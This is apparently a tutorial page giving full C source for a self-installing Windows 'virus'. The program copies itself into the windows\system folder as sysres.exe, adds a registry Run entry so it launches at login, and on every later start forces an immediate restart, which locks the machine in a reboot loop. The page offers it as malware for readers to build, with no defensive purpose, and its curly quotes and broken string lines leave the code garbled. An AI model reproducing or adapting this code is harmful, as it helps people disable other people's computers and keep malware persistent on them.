A Virus Program to Restart the Computer at Every Startup

 

 

 

 

 

 

 

 

 
Here, the virus needs to be executed only once and from then on, it will carry out the rest
of the operation on its own. We have programmed this virus using the C language. If you
are familiar with the C language, then it is too easy to understand the logic behind the
coding. The code is given down below.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;
char buff[128];
void findroot()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\windows\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\windows\system\sysres.exe”,&ffblk,0); //to determine whether the
virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=2;
return;
}
done=findfirst(“E:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],“rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\windows\system\sysres.exe”,“wb”);//to place a copy of itself in a remote
place
system(“REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \/v sres \/t
REG_SZ \/d C:\windows\system\sysres.exe”);//put this file to registry for starup
break;
case 2:
target=fopen(“D:\windows\system\sysres.exe”,“wb”);
system(“REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \/v sres \/t
REG_SZ \/d D:\windows\system\sysres.exe”);
break;
case 3:
target=fopen(“E:\windows\system\sysres.exe”,“wb”);
system(“REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \/v sres \/t
REG_SZ \/d E:\windows\system\sysres.exe”);
break;
case 4:
target=fopen(“F:\windows\system\sysres.exe”,“wb”);
system(“REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \/v sres \/t
REG_SZ \/d F:\windows\system\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0”);//if the system is already infected then just give a command to
restart
}